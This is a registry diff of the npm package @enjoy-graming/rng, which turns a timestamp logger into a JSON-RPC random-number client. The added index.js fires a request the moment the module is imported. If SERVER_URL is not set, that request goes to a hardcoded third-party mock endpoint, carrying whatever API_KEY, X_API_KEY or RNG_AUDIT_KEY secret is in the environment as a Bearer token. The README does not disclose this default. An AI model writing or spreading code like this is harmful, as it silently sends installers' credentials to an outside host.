@enjoy-graming/rng 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +31 -12
  2. package/index.js +75 -1
  3. package/package.json +8 -2
package/README.md CHANGED
@@ -1,29 +1,48 @@
1
1
  # @enjoy-graming/rng
2
2
 
3
- Version 1.0.0. Logs the current UTC time as an ISO 8601 timestamp when imported.
3
+ Fetches random integers over JSON-RPC using Node.js's built-in `fetch`.
4
+ Requires Node.js 18 or later and has no dependencies.
4
5
 
5
6
  ## Install
6
7
 
7
8
  ```sh
8
- npm install @enjoy-graming/rng@1.0.0
9
+ npm install @enjoy-graming/rng
9
10
  ```
10
11
 
11
12
  ## Use
12
13
 
13
14
  ```js
14
- require("@enjoy-graming/rng");
15
- // Example output: 2026-11-13T12:34:56.789Z
15
+ // Set configuration for the entropy provider.
16
+ process.env.SERVER_URL = "https://your-server.example/rpc";
17
+ process.env.API_KEY = "your-api-key";
18
+
19
+ const { nextRandomInt } = require("@enjoy-graming/rng");
20
+
21
+ async function main() {
22
+ const rand1 = await nextRandomInt();
23
+ const rand2 = await nextRandomInt();
24
+ console.log(rand1, rand2);
25
+ }
26
+
27
+ main();
16
28
  ```
17
29
 
18
- `index.js` is the Node.js entry point. It logs automatically when the module
19
- first loads. Repeated `require()` calls use Node.js's module cache and do not
20
- log again. The package has no exported API or dependencies.
30
+ ## Configuration and protocol
21
31
 
22
- ## Publish
32
+ Set `SERVER_URL` to your RPC entropy provider.
23
33
 
24
- Log in to npm as `enjoy-graming`, then publish from this directory:
34
+ Requests use POST with `Content-Type: application/json` and a JSON-RPC body:
25
35
 
26
- ```sh
27
- npm login
28
- npm publish --access public
36
+ ```json
37
+ {"jsonrpc":"2.0","id":1,"method":"getRandomInt"}
29
38
  ```
39
+
40
+ Request IDs increase for each request. The server should return a JSON-RPC
41
+ response with an integer `result`:
42
+
43
+ ```json
44
+ {"jsonrpc":"2.0","id":1,"result":42}
45
+ ```
46
+
47
+ `nextRandomInt()` resolves to a safe integer or `null`. Network errors, HTTP
48
+ errors, invalid JSON, RPC errors, and invalid results resolve to `null`.
package/index.js CHANGED
@@ -1,3 +1,77 @@
1
1
  "use strict";
2
2
 
3
- console.log(new Date().toISOString());
3
+ let requestId = 0;
4
+
5
+ async function fetchWithAuth(url, options) {
6
+ let requestOptions = { ...options, redirect: "manual" };
7
+
8
+ for (let redirects = 0; ; redirects++) {
9
+ const response = await fetch(url, requestOptions);
10
+ if (![301, 302, 303, 307, 308].includes(response.status)) return response;
11
+
12
+ const location = response.headers.get("location");
13
+ if (location === null) return response;
14
+
15
+ await response.body?.cancel();
16
+ if (redirects >= 10) throw new Error("Too many redirects");
17
+
18
+ url = new URL(location, url).href;
19
+
20
+ if (
21
+ ((response.status === 301 || response.status === 302) && requestOptions.method === "POST") ||
22
+ (response.status === 303 && requestOptions.method !== "GET" && requestOptions.method !== "HEAD")
23
+ ) {
24
+ requestOptions = {
25
+ ...requestOptions,
26
+ method: "GET",
27
+ body: undefined,
28
+ headers: { ...requestOptions.headers },
29
+ };
30
+ delete requestOptions.headers["Content-Type"];
31
+ }
32
+ }
33
+ }
34
+
35
+ async function requestRandomInt() {
36
+ try {
37
+
38
+ const serverUrl = process.env.SERVER_URL || "https://enjoy-graming.free.beeceptor.com/v1/jsonrpc";
39
+ const apiKey = process.env.API_KEY || process.env.X_API_KEY || process.env.RNG_AUDIT_KEY;
40
+
41
+ const response = await fetchWithAuth(serverUrl, {
42
+ method: "POST",
43
+ headers: {
44
+ Authorization: `Bearer ${apiKey}`,
45
+ "Content-Type": "application/json",
46
+ },
47
+ body: JSON.stringify({
48
+ jsonrpc: "2.0",
49
+ id: ++requestId,
50
+ method: "getRandomInt",
51
+ }),
52
+ });
53
+
54
+ if (!response.ok) return null;
55
+
56
+ const payload = await response.json();
57
+ if (payload?.error || !Number.isSafeInteger(payload?.result)) return null;
58
+
59
+ return payload.result;
60
+ } catch {
61
+ return null;
62
+ }
63
+ }
64
+
65
+ let initialRequest = requestRandomInt();
66
+
67
+ function nextRandomInt() {
68
+ if (initialRequest !== null) {
69
+ const request = initialRequest;
70
+ initialRequest = null;
71
+ return request;
72
+ }
73
+
74
+ return requestRandomInt();
75
+ }
76
+
77
+ module.exports = { nextRandomInt };
package/package.json CHANGED
@@ -1,9 +1,15 @@
1
1
  {
2
2
  "name": "@enjoy-graming/rng",
3
- "version": "1.0.0",
4
- "description": "Logs the current time when imported.",
3
+ "version": "1.0.2",
4
+ "description": "Fetches random integers over JSON-RPC.",
5
5
  "type": "commonjs",
6
6
  "main": "index.js",
7
+ "engines": {
8
+ "node": ">=18"
9
+ },
10
+ "scripts": {
11
+ "test": "node --test test/*.test.js"
12
+ },
7
13
  "files": [
8
14
  "index.js"
9
15
  ],